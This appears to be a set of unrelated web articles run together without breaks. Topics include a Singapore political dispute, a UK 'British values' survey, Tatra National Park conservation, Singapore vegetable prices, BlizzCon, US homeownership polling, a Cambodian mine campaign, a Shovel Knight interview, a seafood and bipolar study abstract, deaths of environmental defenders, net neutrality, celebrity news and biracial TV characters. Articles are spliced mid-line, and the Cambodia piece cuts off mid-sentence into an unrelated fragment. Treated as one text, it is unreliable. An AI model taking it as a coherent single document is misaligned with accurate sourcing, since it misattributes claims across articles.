Some questioned the formation of the ministerial committee, and whether a ministerial statement in Parliament was the right platform to address the issue. Others asked why PM Lee did not challenge the last will in court, especially if he had “grave concerns” about the circumstances around the drafting of the will.
The dispute between PM Lee and his siblings, Mr Lee Hsien Yang and Dr Lee Wei Ling, has been ongoing since Jun 14, when the two younger siblings published a statement saying that they "felt threatened" by PM Lee’s use of his position and influence over the Government and its agencies to "drive his personal agenda” since their father died on Mar 23, 2015.The government’s plans to combat radicalism by promoting “British values” have hit a snag as few ethnic minority students seem to know what British values actually are.
Instead of referring to the officially-approved definition with concepts such as democracy, individual liberty, the rule of law and tolerance, students instead mentioned “drinking tea” and “fish and chips”.
A study by the British Educational Research Association (BERA), who interviewed 250 minority students in Peterborough – one of England’s most ethnically diverse cities – also found that only 13 per cent had even heard of the government’s “Prevent” strategy to counter extremism in schools.
The study by Dr Allison Davies of the Open University said that when asked about British values, ethnic minority student were at a loss:
“Over half were silent, or stated ‘don’t know what you mean’ to the survey question asking for their ideas about British Values.
“The remainder offered popular icons such as ‘fish and chips’, ‘drinking tea’ and ‘celebrating the Queen’s birthday’ (which several of the schools had done at the time of the survey).”
Some also expressed irony when asked about British values, saying: “Pick on someone different to you” and “We need to get rid of these immigrants, they’re taking our jobs”.
However, although they did not know about “British values”, they “understood Islamic values, Christian values, and humanitarian values very well and demonstrated these eloquently in response to questions such as ‘how to improve community relations’,” the report says.
In terms of the government’s “Prevent” strategy, only slightly more than one in 10 had even heard of it. One of those who had said: “The government is…putting money into something the youth doesn’t know about – it’s useless.”
Around three in 10 said they had experienced racial abuse, the report adds. “Most describe the abuse as verbal – being called ‘terrorist’ was frequently recounted in discussion, although 5 % also recorded instance of physical abuse.”
Last year Breitbart London reported increasing concerns that the government was using “British values” to assert social liberalism and secularism while ignoring the UK’s Christian heritage.
Advice for primary schools mentioned secular festivals such as Burns Night, May Day and even the Notting Hill Carnival, but did not mention Easter or even Christmas.
Andrea Williams of the Christian Institute said: “It is intellectually dishonest to deny Christianity’s huge role in shaping Britain, her values and her institutions.
“We should celebrate the freedoms and amazing advances that Christianity has brought to Britain. Airbrushing Christianity out doesn’t prepare children for life in modern Britain, it deceives them.”
“This impoverished approach seems ideologically driven. It is vacuous and leaves children with vague platitudes rather than robust values upheld by a secure foundation,” she added.Conservationists slam the Slovakian government for mismanaging its most known national park, Tatra National Park, home to capercaillie and a number of other charismatic species.
The IUCN is currently mulling downgrading Tatra National Park’s status due to logging, hunting, and overdevelopment without environmental safeguards.
If that downgrade passes, it could have an impact on tourism to Tatra National Park – as its wildlife populations decline and its forests vanish.
The largest member of the grouse family, the capercaillie, is losing ground in the Carpathian Mountains. A recent study published in the journal of Landscape Ecology found that suitable habitat for capercaillie (Tetrao urogallus) – an iconic member of the grouse family – has decreased by roughly 85 percent in the Carpathian Mountains of Central and Eastern Europe.
The study, led by Dr. Martin Mikoláš of the Czech University of Life Sciences, Prague, examined changes to preferred capercaillie habitat in the Carpathian Mountain range, which runs through portions of the Czech Republic, Hungary, Poland, Romania, Slovakia, and Ukraine. Mikoláš and his team reached the ominous conclusion that more suitable capercaillie habitat was lost within protected areas than outside of them. While the finding is troubling, it’s not exactly surprising, especially in Slovakia.
The study arrives on the heels of recent criticisms from the International Union for Conservation of Nature (IUCN) in regards to Slovakia’s management of Tatra National Park, a known stronghold for capercaillie populations.
The non-migratory capercaillie is a habitat specialist, requiring large areas of undisturbed forest to thrive. The capercaillie is dubbed “an umbrella species for biodiversity conservation,” by Mikoláš and his colleagues in their paper.
“The capercaillie requires large areas of natural forests that are biodiversity-rich habitats. A single capercaillie individual requires an average of 550 hectares, and a viable population requires 250-500 square kilometers of natural forests,” Mikoláš said. He went on to explain that a conservation strategy tied to preserving populations of capercaillie would benefit a broad range of other species due to the bird’s reliance on large areas of pristine wilderness.
Unfortunately, that strategy doesn’t appear to be playing out in Slovakia.
Located within the Carpathians, the Tatra Mountain Range formed roughly 200 million years ago, sometime during the Paleozoic Era. Situated along the border of Poland and Slovakia, the Tatras cover an area of roughly 340 square kilometers, over 75 percent of which lies within Slovakia.
Tatra National Park is the oldest national park in Slovakia and considered a national treasure by natives. Its highest peaks reach elevations of roughly 2,600 meters, and the area is known for its incredible beauty as well as intense windstorms.
Aside from the capercaillie, the park is also home to the endemic Tatra chamois (Rupicapra rupicapra tatrica), a subspecies of the chamois. Commonly referred to as a goat-antelope, the Tatra chamois is considered a Critically Endangered species by the IUCN Red List. Other species that call the park home include the Alpine marmot (Marmota marmota), Eurasian brown bear (Ursus arctos arctos), Eurasian lynx (Lynx lynx), European pine marten (Martes martes), grey wolf (Canis lupus), and red fox (Vulpes vulpes).
Following a powerful storm in 2004 that leveled over 12,000 hectares, members of the IUCN visited Tatra National Park to help map out a conservation strategy for the region. The area is categorized as a national park under IUCN classifications and considered a Class II protected area in the World Database of Protected Areas (WDPA), a joint initiative between the IUCN and the United Nations Environment Program (UNEP).
The WDPA defines a Class II park as “a natural area of land or sea, designated to protect the ecological integrity of one or more ecosystems for this and future generations.”
But recent criticism from the IUCN and a variety of NGOs allege that the park is not being managed according to these guidelines. Currently, hunting, logging, and commercial development are all occurring within the park at increasing rates. In many areas, the Slovak Ministry of Environment issues “exceptions,” or permits, for such activities to take place. According to local conservationists, permits for activities like hunting are relatively easy to obtain. That, combined with poaching due to insufficient patrolling, make for a grim situation for wildlife native to the area, according to sources.
Collectively, conservationists say these activities are creating habitat fragmentation and disrupting ecological strategies of sensitive species, including capercaille.
A number of conservationists have called for the Slovak Ministry of Environment to either revise its management policies or re-classify the area to reflect the reality of what’s actually taking place within the park borders.
The Slovak Ministry of Environment did not return several requests for comment on the management of its protected areas.
Dr. Juraj Svajda, a professor at Matej Bel University, noted that while natural disturbance always plays a role in habitat availability, “the bigger problem is reduction of size and quality…of habitat, including rising disturbance due to artificial human activities and impacts.”
Svajda explained that development within the park often occurs through loopholes that allow existing infrastructure to be modernized, which then brings more tourists, which in turn requires more infrastructure.
“We call this the salami method,” Svajda said. “Firstly they argue only for modernization of existing infrastructure, which brings more and more people, so then they argue that due to safety they must build ski-slopes wider, and so on.”
In 2012, over 70 scientists signed an open letter urging the Prime Minister to halt construction and development activities within Slovakia’s national parks until proper environmental assessments are carried out.
The Tatras happen to be a major hotbed for capercaillie populations, and, given their habitat requirements, their wellbeing in the Tatras serves as an important indicator for biodiversity health in the region.
Male capercaillie in the Tatras. Photo Credit: Karol Kalisky.
The Tatra chamois (Rupicapra rupicapra tatrica) is a subspecies of the chamois. Found only in the Tatra Mountains, it is a flagship species of both Tatra National Parks (in Slovakia and Poland). Photo Credit: Juraj Svajda.
Dual management — forestry and nature conservation interests — at play in the Velicka Valley of Tatra National Park following the windstorms of 2004. Photo Credit: Juraj Svajda.
Extension of Tatranska Lomnica ski resort in the High Tatra Mountains. Photo Credit: Juraj Svajda.
Logging in the Tatras. Photo Credit: Karol Kalisky.
In their recent study, Mikoláš and his colleagues found that from 1985 to 2010, suitable habitat for capercaillie decreased from roughly 7,500 to 1,100 square kilometers across the Carpathian Mountain range, including Tatra National Park in Slovakia.
“Incredible clear-cuts with areas of hundreds of hectares fragmented the [capercaillie] populations. Many became isolated and extinction depth is in progress. The most alarming aspect is that all these are still going on and accelerating,” Mikoláš observed.
With loss of habitat comes a decline in habitat connectivity, and populations in the Tatras are being cut off and isolated at an alarming rate. The study concluded the genetic flow between the populations of Eastern and Western capercaillie is now virtually nonexistent, which could ultimately lead to more vulnerable populations and a decreased ability to adapt to climate change.
The study’s findings that more habitat was lost within protected areas than in unprotected areas throughout the Carpathians appear in line with recent allegations that Slovakia has failed to comply with national park standards according to IUCN guidelines.
In a recent letter to the Ministry of Environment in Slovakia, the IUCN requested an update on the progress and implementation of their management recommendations issued over a decade ago. Based on Slovakia’s response, the IUCN could potentially downgrade the national park from a Class II to a V, which is considered a protected landscape managed primarily for recreation and conservation.
The Slovak Environment Ministry maintains that it is ultimately up to them to decide how their protected areas are managed, but conservationists worry that a failure to cooperate with the IUCN could damage the area’s reputation and lead to a decrease in tourism.
Or, as Mikoláš put it, “Who wants to go for holiday to see large clear-cuts?”
Citations:
Mikoláš, M., Tejkal, M., Kuemmerle, T., Griffiths, P., Svoboda, M., Hlásny, T., Leitão, P.J., & Morrissey, R.C. (2017). Forest management impacts on capercaillie (Tetrao urogallus) habitat distribution and connectivity in the Carpathians. Landscape Ecology, 32:163. doi:10.1007/s10980-016-0433-3
Banner image: By Joxerra Aihartza – Nire argazki bilduma / own picture, FAL, https://commons.wikimedia.org/w/index.php?curid=12891170Jerry Tan, Assistant Secretary of the Singapore Fruits and Vegetables Importers and Exporters Association, expects supplies of leafy vegetables to fall as farmers across the border grapple with sizzling temperatures.
SINGAPORE: As Malaysia continues to grapple with hot and dry weather, the price of Malaysian greens imported into Singapore looks set to increase further.
Mr Jerry Tan, Assistant Secretary of the Singapore Fruits and Vegetables Importers and Exporters Association, expects prices to go up as the supply of leafy vegetables from Malaysia could drop by about 30 per cent in the coming weeks.
Advertisement
Prices have already been increasing as farmers across the Causeway grapple with the challenging conditions, with temperatures in some places exceeding 37 degrees Celsius. In Singapore, the wholesale cost of vegetables such as chye sim and spinach has doubled since last month and the price of xiao bai cai has increased by half since two weeks ago, said Mr Tan.
"The reasons are because of the hot weather, which is causing those plants not to grow. Production is dropping and demand is going up," he added.
As a result, the rise in import prices is in many cases being passed on to consumers in Singapore. This was reflected in the most recent inflation data, which showed food inflation rose to 2.2 per cent in March from 2 per cent in February. The statement from the Monetary Authority of Singapore (MAS) and the Ministry of Trade and Industry (MTI) yesterday (Apr 25) said that higher food prices were partly due to weather-related supply disruptions in neighbouring countries.
Advertisement
Advertisement
At a wet market stall in Teck Whye Lane, the price of chye sim imported from Malaysia has increased to around S$2 per kilogram, up from S$1.50 last month. The price of Malaysian-grown spinach has also gone up from S$4.50 per kilogram to S$5.
This is having an impact on consumer demand, according to stall owner Gary Lian, who said that earnings have since dropped by about 20 per cent a day as consumers baulk at the higher prices.
"Every year is like that, when the weather is bad. We started to increase the price two to three weeks ago, we have to cover the cost price."
Stall owner Gary Lian said earnings have since dropped by about 20 per cent a day as consumers balk at the higher prices. (Photo: Lim Jia Qi)
Sheng Fa, a wet market stall at Ayer Rajah Food Centre and Market, is also starting to feel the pinch. The price of Malaysian-grown xiao bai cai doubled from S$1.30 per kilogram last month to the current S$2.60.
"The supplier told us there are not enough vegetables because the weather is very hot. Our earnings have dropped but we are not suffering a loss," said Mdm Tang, who is the stall assistant.
Supermarket chains seem less affected by the price hike. Prices of vegetables from Malaysia at NTUC FairPrice have remained stable because it uses contract farming, according to Mr Victor Chai, director of fresh and frozen products at its purchasing and merchandising department.
"(Contract farming) supports a stable supply of goods and helps moderate pricing. With contract farming, FairPrice is less vulnerable to sudden price changes due to shortages, for example, caused by the weather in the market. At the same time, contract farming enables us to ensure stronger quality and safety control," said Mr Chai in a statement to Channel NewsAsia.
"We diversify our sources for products so that we can ensure a stable supply and cushion shoppers from price shocks," added Mr Chai.
While prices are going up, some consumers say they have no choice but to absorb the higher cost.
"If it's an additional dollar a day, then it adds up. But we still have to eat. Maybe I just buy (less) vegetables," said housewife Mdm Chua Gek Lang, who was buying supplies at Teck Whye Lane.
"We can't control the weather, there's no choice we still have to eat," added 57-year-old Mdm Tan.
However, there may be some relief in sight, as Mr Tan said that prices of vegetables from China have been dropping and consumers will have greater variety of greens to choose from.
"The weather is getting better in the northern part of China and it's the best time of the production of the year. The volume they are producing is very large, that's why the prices have been coming down."BlizzCon 2011 begins tomorrow, and you’ll be able to watch the opening ceremony and the action on the World of Warcraft and RTS tournament stages streaming for free at www.blizzcon.com/live-stream/. DIRECTV subscribers in the U.S. can also catch the opening ceremony for free on the Audience Network. Pre-show coverage begins Friday at 10:30 a.m. Pacific, and the opening ceremony is scheduled to start at 11 a.m.. Tournaments run throughout both days of the show -- check out the BlizzCon schedule for details.
If you’re interested in watching these in high-def and getting over 50 hours of BlizzCon coverage, including developer panels, the costume contest, the closing concert with Foo Fighters, and more, you can still purchase a BlizzCon Virtual Ticket, which also includes this year's World of Warcraft pet and to-be-revealed StarCraft II in-game gift. The Virtual Ticket also lets you watch on-demand replays of any coverage you might have missed.
We’ll be updating BlizzCon.com, our Twitter feeds, and our Facebook pages with news, photos, and more from the show, so we’ve got you covered pretty much anywhere you go. See you at BlizzCon!PRINCETON, NJ - The 62% of Americans who say they own their own home marks a new low since Gallup began tracking self-reported homeownership in 2001.
The current level of homeownership marks a decline from 68% in 2011. For most of the prior decade, roughly seven in 10 Americans reported owning their own home. While the recession and financial crisis took place in 2008-2009, homeownership rates didn't begin to reflect the bursting of the housing bubble until 2010, when 65% of Americans reported owning their own home -- the lowest level recorded before this year.
Record-Low 53% of Americans Say Their Home's Value Has Increased
Fifty-three percent of Americans believe their house is worth more today than when they bought it, down significantly from 80% in 2008 and 92% in 2006. It confirms that many Americans are underwater in terms of the value of the home they currently own.
Houses that were purchased many years ago, well before the collapse of the real estate market, are more likely to be worth more today than when they were bought. Accordingly, older Americans are less likely to say their home's value has not appreciated since they bought it -- 31% of Americans aged 50 and older say this. In contrast, 62% of Americans aged 30 to 49, many of whom likely bought homes closer to the collapse, say their home is not worth more.
Still, Most Americans Say Now Is a Good Time to Buy
Lower home prices combined with continued low mortgage interest rates have 70% of Americans believing now is a "good time" to buy a house. This is about the same as in the past several years, but up from 53% in 2008.
More Americans Expect Local House Prices to Increase Than Decrease
Americans are much more positive about the direction of housing prices this year than they were last year. They are significantly more likely to expect the average price of houses in their area to increase over the next 12 months than to decrease, 33% vs. 23%. Last year, Americans were about evenly split, 28% to 30%.
Today's housing price expectations differ sharply from those during the housing price boom. In 2005, 70% of Americans expected house prices in their area to increase, while 5% expected them to decrease. Expectations moderated as prices hit record levels in 2006-2007. Expectations became more negative during the recession and financial crisis. In 2010, price expectations were similar to those anticipated today.
Implications
Most Americans recognize that now is likely a good time to buy a house. Mortgage rates remain at historical lows and Federal Reserve policy seems determined to keep them low for some time to come. While recent Case-Shiller measurements show home prices declining, about one in three Americans expect house prices to increase over the next 12 months and another 44% expect prices to remain unchanged. Relatively stable prices and low interest rates would seem to make buying a house extremely attractive in many local housing markets.
Part of the explanation for decade-low homeownership likely has to do with today's broken housing finance system that depends on Fannie Mae, Freddie Mac, and FHA/VA. Potential home buyers can take advantage of today's low mortgage interest rates only if they can meet significantly more stringent down payment and underwriting standards than was the case prior to the financial crisis.
Further, while record home foreclosures and distress sales resulting in declining house values have also played a role in the declining rate of homeownership in recent years, so has the weakness of the overall economy. Buying a home is the most important purchase and largest financial commitment most people make during their lives. For most Americans, it is hard to feel secure enough to make such a commitment when the economy is growing slowly and they see nearly one in five workers underemployed, that is, unemployed or employed part time but willing to work full time.
Declining homeownership rates suggest some Americans are beginning to doubt that homeownership remains part of the American dream -- or at least, an attainable part of it. From an economic perspective, U.S. economic growth needs to be much stronger than it has been in order to achieve the hiring necessary to get unemployment rates to the "normal" levels of the past. This doesn't seem likely as long as housing activity remains relatively moribund and homeownership rates are declining.Our fight against the titanium mine began in June.
Villagers stumbled upon construction workers and bulldozers in a remote part of the forest and started to ask questions.
They found out a private mining group, United Khmer Group (UKG), was involved. The development threatened more than 50,000 acres of land that was vital to the elephant corridor, to more than 70 endangered and vulnerable species as well as one of the last untouched rainforests in all of Asia.
Quickly, Wildlife Alliance worked with communities to mobilize. Thousands living in the surrounding communities — many currently making their living through innovative ecotourism initiatives or reforestation activities — signed a petition protesting the mine.
Suwanna Gauntlett, CEO at Wildlife Aliiance, led ministry officials from across the Cambodian government through tours of Chi Phat so they could experience firsthand the vitality of the communities, they celebrated the economic successes families were experiencing, recognized the value in preserving forests and the vital elephant corridor, and heard the strong case for protection.
The mining company made its case as well, promising high levels of immediate revenue from the titanium mine. They showcased charts and graphs that promised returns never before seen and certainly not taking into account the economies of existing communities dependent on the region’s forests or long-term impacts on the forests and wildlife.
For us, the fight happened at every level of government with local communities leading the way. The desire to influence the decision was immense both in Cambodia and around the world. From scores of countries, people signed on to a petition protesting the mine — asking the Cambodian government to stand for the future and the Southern Cardamoms Protected Forest.
Unfortunately, |
provide direction and guidance to ensure all mechanics mesh with the themes of Thunderscape as it currently exists, a delicious blend of old-school Hensley innovation and modern role-playing advancements.
For our Savage Worlds mechanics, we turned to a couple of long-standing members of the Savage Worlds community, Mark Swafford and John Beattie. These two gentlemen have done an amazing job of taking the spirit of the World of Aden and translating it into the fast, furious fun of Savage Worlds. You’ll be seeing a lot more of these guys in the months and years to come, I’ll wager.
And of course we would be remiss if we did not mention the wonderful Jodi Black of Pinnacle Entertainment Group. Jodi has been a mentor to us as we work to ensure that our game is 100% worthy of the mantle of Savage Worlds, and with every suggestion she offered us she included ample amounts of encouragement as well, for which we will forever be in her debt. Thanks, Jodi!
I would go on for pages about the amazing graphic design skills of our layout guy, Mike Brodu, but I don’t have to. You’ll see the pages and you’ll know this man is a champion among designers. It’s going to be amazing.The Nintendo 3DS version is probably my version of choice, although it’s so difficult to choose. I really, really love how the 3D looks on this game. It’s sort of like the 3D Classics a little bit, but we have many layers of parallax. There are eight layers, and it’s all just scrolling as it goes, and all of our programmers did such an amazing job of making each enemy and each character and each thing you dig up go into the screen or go back in the screen. The implementation of it is just really, really good, and so I just want to say, I’m personally really proud of the 3D in the Nintendo 3DS version. So please give the 3D a shot when the game comes out!
NoE: What can you tell us about Digger’s Diary, the Wii U-exclusive Miiverse mode?
SV: Okay, so the Digger’s Diary is all about using Miiverse. You’ll be playing the game on the TV, and then on the Wii U GamePad there’s a tab called ‘Diary’. You tap it and then Miiverse messages from other players appear on the GamePad screen. But the cool part is, all the messages pertain to the room in which you are currently residing. So you might be in a single-screen room and there are some gems hidden up in the corner, but you don’t know how to get them – maybe somebody wrote a Miiverse post that says, “Hey, hit this rock to get the gems!”
NoE: Or they might commiserate with your exact situation!
SV: We’ve seen it where the whole screen might be scribbled over because they’re so frustrated! And we’ve seen people talking as the characters, because that’s another thing with the Diary – you can choose an avatar from the game, so you can choose Shovel Knight, or you can choose King Knight, or any of the other knights or The Enchantress, or anybody, and you can stick them up there. So what we’re seeing is people sticking the character there and then talking as if they’re the character. It all adds a little bit more fun to the game; we’ve been saying it’s a bit like the schoolyard, with tips and hints you might talk about with your friends.
NoE: Rumours passed around…
SV: Exactly.
NoE: It’s nice to bring people together, as with the StreetPass Arena. There are no simultaneous multiplayer aspects to the game, but you’re still bringing people together through Shovel Knight!
SV: (laughs) That’s beautiful!
NoE: It’s the idea that there is this connectivity between players. There’s a kind of a community. It’s something that you would have had in the 8-bit days; your friends would have played a game and you would have talked about it, but you wouldn’t necessarily go to each other’s house to play it. And there’s no expensive tips helpline – you can just go to Miiverse for that hint instead!
SV: I mean, I remember the first time I got to World 8 in Super Mario Bros. 3, and I saw the enormous cannon. I wrote a letter – a handwritten letter – to my friend and ran down the street and put it in his mail box because he wasn’t there at the time. This is when I was seven or eight years old. I was so excited, “oh man I can’t believe it!” It’s a little bit of the equivalent. And we’ve also seen in the Miiverse community, not even on the Digger’s Diary, the amount of art and the effusive praise that we’ve got and everything… It’s been really, really incredible.
NoE: Can you tell us anything about Shovel Knight’s story? Who is he, and why does he have a shovel?!OBJECTIVE:
The authors sought to determine if greater seafood consumption, a measure of omega-3 fatty acid intake, is associated with lower prevalence rates of bipolar disorder in community samples.
METHOD:
Lifetime prevalence rates in various countries for bipolar I disorder, bipolar II disorder, bipolar spectrum disorder, and schizophrenia were identified from population-based epidemiological studies that used similar methods. These epidemiological studies used structured diagnostic interviews with similar diagnostic criteria and were population based with large sample sizes. Simple linear and nonlinear regression analyses were used to compare these prevalence data to differences in apparent seafood consumption, an economic measure of disappearance of seafood from the economy.
RESULTS:
Simple exponential decay regressions showed that greater seafood consumption predicted lower lifetime prevalence rates of bipolar I disorder, bipolar II disorder, and bipolar spectrum disorder. Bipolar II disorder and bipolar spectrum disorder had an apparent vulnerability threshold below 50 lb of seafood/person/year. The absence of a correlation between lifetime prevalence rates of schizophrenia and seafood consumption suggests a specificity to affective disorders.
CONCLUSIONS:
These data describe a robust correlational relationship between greater seafood consumption and lower prevalence rates of bipolar disorders. These data provide a cross-national context for understanding ongoing clinical intervention trials of omega-3 fatty acids in bipolar disorders.Deaths of environmental activists locked in conflict with mining, logging and agricultural companies across three continents has passed 150
2017 on course to be deadliest on record for land defenders
The number of people killed this year while defending their community’s land, natural resources or wildlife has passed 150 – meaning 2017 is on course to be the deadliest year on record.
Environmental activists, wildlife rangers and indigenous leaders are locked in fierce conflicts with mining, logging and agricultural companies in hundreds of places around the world. The Guardian is working with watchdog Global Witness to record all the deaths in 2017, and this week that figure reached 153 with a spate of killings across three continents.
These included Ruben Arzaga, a village leader and environmental officer shot while arresting suspected illegal loggers in the Philippines; Elías Gamonal Mozombite, one of six farmers shot dead in a land rights battle reportedly linked to palm oil trade in Peru, and Wayne Lotter, a leading elephant conservationist and head of an anti-poaching NGO shot dead in Tanzania.
The defenders: recording the deaths of environmental defenders around the world Read more
Billy Kyte of Global Witness said the latest deaths underlined the scale of the crisis facing those seeking to protect their land and environment from global corporations and governments.
“These stark statistics show 2017 looks like being the deadliest yet for those on the frontline to protect our environment and their land rights.”
Kyte said Brazil, Colombia and the Philippines were set to be the most dangerous places – as they were in 2016.
“The heads of these governments must recognise this crisis and prioritise the protection of these defenders. Without guaranteeing communities a say in how their land and natural resources are used, the roots of this violence will continue to grow.”
The findings show that mining and extractive industries continue to be the industry linked to the most killings – 33 so far this year.
There has also been a surge in deaths associated with agribusiness – 28 deaths so far this year, compared with 23 for the whole of 2016. And more park rangers have been killed already in 2017 than during the whole of last year.
Six farmers shot dead over land rights battle in Peru Read more
Kyte said some progress appeared to have been made in Honduras, historically the world’s most dangerous place per capita, where deaths dropped from 14 in 2016 to only one this year so far.
However, he added: “Whilst this is welcome, news there continues to contain regular reports of threats, harassment and criminalisation of activists and human rights defenders in the country.”
Last year 200 environmental activists, wildlife rangers and indigenous leaders were killed. And with that figure set to be exceeded, Kyte warned that investors as well as governments and global corporations had a key role to play.
“Investors too have blood on their hands. They should not invest in projects linked to abuses and must speak out when defenders are threatened.”As black communities and other targeted groups battle the use of surveillance technologies, they are also battling to use technology to watch back, to speak truth to power, and to hold power to account. When black communities watch back, that’s democracy—or, one face of it.
The open internet, in particular, has decentralized the media and allowed black activists in a modern movement against police and state violence to bypass discriminatory media gatekeepers and reveal the extent of the state’s abuse. When ordinary people capture shocking video footage of police officers fatally shooting black citizens, for example, it is more difficult for Americans to ignore the realities of racial injustice. Technology has always been a double-edged sword for black people in America and beyond. On the one hand, it can pose a grave threat; on the other, great opportunity.
My mother knew this better than most. She was one of thousands watched by the Federal Bureau of Investigations (FBI) counterintelligence program during the American civil rights and Black Power movements of the 1960s and 1970s. She was also editor of the Black Panther Party newspaper and an avid educator. She understood that media and technology could help black communities build democracy, but only to the degree that the technology itself was democratized.
Right now, more than 100 million people live without adequate access to broadband, and cost is the major barrier. This divide between those who can afford adequate internet access and those who cannot leaves millions out in an analog cold. Couple this with the rise of digital policing, and online censorship, and harassment in a high-tech civil society—and you’ll see the brutal gap between the people who have access to democracy in the 21st century, and those who do not.
It doesn’t have to be this way.
Enforcing the FCC’s Title II Net Neutrality rules passed in 2015, to ensure all Internet traffic is treated equally, is one step the United States must take to preserve democracy in a digital age. It is one way those who have been persistently watched using digital technologies, can watch back using those same technologies. The open internet is a powerful tool in the fight against discriminatory mass surveillance.
Yet, under the current White House administration, which is backed by powerful industry special interests, efforts to repeal these strong and hard-won rules have already begun at the hand of former Verizon lawyer Ajit Pai.
Representative John Lewis, the long-time civil rights activist, remarked in a 2015 public statement supporting strong net neutrality rules that, “If we had the internet during the movement, we could have done much, much more to bring people together from all around the country, to organize and work together to build the beloved community. That is why it is so important for us to protect the internet. Every voice matters, and we cannot let the interests of profit silence the voices of those pursuing human dignity.”Amy Winehouse Leaves Clinic to Perform at Mandela Bash (Photos)
temporarily left a medical facility in London to perform in Hyde Park for thebash on Friday evening, June 27th. She actually looked, dare we say, not bad. She has been receiving treatment since collapsing on a London street.
Mitch Winehouse, the singer's father, has told reporters that his daughter has early symptoms of emphysema, a debilitating lung condition. Her recent medical stay apparently allowed the troubled musician to get her act together, at least long enough to perform at the concert.
The photos are actually quite compelling. The performance is reminiscent of her appearance at the Grammys, where she picked up five awards for her album Back to Black and sang Rehab via satellite. The singer was forced into a rehab facility two weeks before the awards show by her record label. Without that intervention, it is unlikely she could have been able to perform.
Immediately following last nights performance, Winehouse was photographed signing autographs outside of The Clinic, the London medical facility where she had been hospitalized earlier in the week. She is seen smiling in several photos before becoming visibly upset, at which time she quickly reentered the treatment center.
The talented musician reportedly canceled plans to release another album in 2008. Her addiction issues have kept her from working in the studio, according to her friend and record producer Mark Ronson.
Check out Amy's performance photos and her autograph session. We also have a photo of the medical facility where she is receiving treatment.
Photos: WENNDisney star Asher Angel will play the boy who can transform into the adult DC Comics superhero.
Asher Angel, one of the leads on Disney Channel’s Andi Mack, has snagged the role of Billy Batson opposite Zachary Levi in New Line’s DC superhero movie Shazam!
The project is casting up as it heads toward a production start in early 2018, with Mark Strong already in talks to play the villain and Grace Fulton in line for a lead.
The DC Entertainment superhero story centers on a boy named Billy Batson who can transform into an adult superhero by uttering the magic word "Shazam!" The name is an acronym of the ancient world gods and historical figures Solomon, Hercules, Atlas, Zeus, Achilles and Mercury, from which Batson derives his heroic attributes when in adult form. Levi is starring as Batson’s alter ego, the adult hero known as Captain Marvel.
David F. Sandberg (Annabelle: Creation) is directing Shazam! from a screenplay by Henry Gayden and Darren Lemke.
Sandberg later confirmed the casting news, sharing a photo of Levi holding a photo of Angel.
I was hoping to break the news about @asherdovangel last week with this photo but had to wait a bit A post shared by David F. Sandberg (@ponysmasher) on Nov 6, 2017 at 9:42am PST
The Batson role is a big break for Angel, who plays Jonah Beck, the love interest for tween girl Mack on Disney’s Andi Mack. He has had a handful of appearances in TV and shorts, and recently wrapped his feature debut with an indie titled On Pointe.
Angel is repped by Osbrink, the Partnership and SGSBC.
Nov. 6, 4:54 p.m. Updated with Sandberg's Instagram post.By Laylita Day
I started to notice a disturbing trend among certain TV shows. Each one featured a biracial character, specifically a woman who had an Asian mom and White dad. The disturbing part of this was the fact that none of the Asian moms are actually in the shows with one slight exception. This caught my attention mainly because I too have a White dad and Asian mom. My mother and I are fairly close, so seeing show after show where the biracial daughter has no contact or knowledge of her mother made me feel uneasy. I began to ask myself why there were so many M.I.A. Asian moms in biracial TV families.
In Bones, shown on Fox, there is the character of Angela Montenegro (Michaela Conlin), who is portrayed as half Chinese and half White. Her White father, played by Billy Gibbons has made several appearances on the show, while there is neither a sighting nor even a mention of her Asian mom. In Nikita (Maggie Q), shown on The CW, we are again met with a biracial woman whose White father shows up (for one episode before being killed off) while the mom has no place in the show. In Scorpion, shown on CBS and featuring Happy Quinn (Jadyn Wong), we are faced with another White father who slowly comes into his daughter’s life after a long absence due to the death of his wife, Happy’s mother. Again the Asian mom is written out of the story. In Beauty and the Beast, also on The CW, the character of Catherine Chandler (Kristin Kreuk) provides us with another biracial woman. This time we finally get to see an Asian mom, but who is immediately killed off. She does appear again in flashbacks but only three times. The fact that Catherine’s father, both her biological one and not biological one appear more often continues the trend of making the White male character/father a higher priority than the Asian character/mom.
By presenting the White father, viewers can clearly see the protagonist as biracial, which is needed in network TV considering the growing population of biracial and multiracial people today. According to the 2010 Census, the multiple-race population grew faster than the single-race one by 32 percent from 2000 to 2010 with 9 million people identifying as multi-racial. Those identifying as White and Asian were the third largest group at 1.6 million and grew at about 750,000, an increase of 87 percent.
But the problem remains that the selective depiction of biracial characters and their families creates a lack of representation for biracial families and the issues they deal with. These issues could include obvious cultural clashes, but the real importance of being able to see these families is to make known both the joys and struggles of living in a society that still grapples with accepting interracial dating, marriage and being biracial. Possible reasons for not showing more non-Whites, in this case Asian moms in biracial families, could stem from the opinions of writers and producers, attempting to show diversity while still reinforcing the tradition of having mostly White characters and/or trying to avoid backlash at showing a married interracial couple with a child, such as what happened with the famous Cheerios commercial, depicting a White woman with an African-American husband and biracial daughter.
This latter possible reason is especially important in showing how part of society still thinks negatively about interracial couples and biracial families, how such families are still considered not appropriate and not “normal”. That’s exactly the very reason network shows should present such families more. The more they are depicted in the media, the less unusual they will become and hopefully more accepted and understood. It could also give biracial families a platform to present their families in all types of ways. Such depictions could include being the only ones in a neighborhood or town and dealing with racism, living in highly diverse places and not seeing any difference in their lives from anyone else, or experiencing something else entirely. Until these narratives are explored and represented on TV, the general public may only see one version of biracial families, effectively stereotyping them and misunderstanding what it means to be a part of such families. The same can be said for gay families who also fight for accurate representation.
On a broader level, the trend of missing or killing off characters of color is not limited to Asian moms in biracial families. One could say that the M.I.A. Asian moms is simply a case of using the common tragic dead/missing mom story trope, but even if that is part of the answer, there are shows that give the impression that the non-White character is just a temporary diversity filler. Examples include Joss Carter (Taraji Henson) from Person of Interest (creating an all-White cast), Michelle Lee (Liza Lapira) from NCIS, Dominic Vail (Adam Craig) from NCIS: Los Angeles (replaced by the White character Marty Deeks), Dr. Olivia Fawcett (Mylène Dinh-Robic) from The Listener and so on. Of course there could be behind the scenes issues, such as the actor/actress does not want to continue the role, but even with that consideration, one usually can see that the replacements or lack of these characters creates a less diverse cast afterwards and that is the real problem.
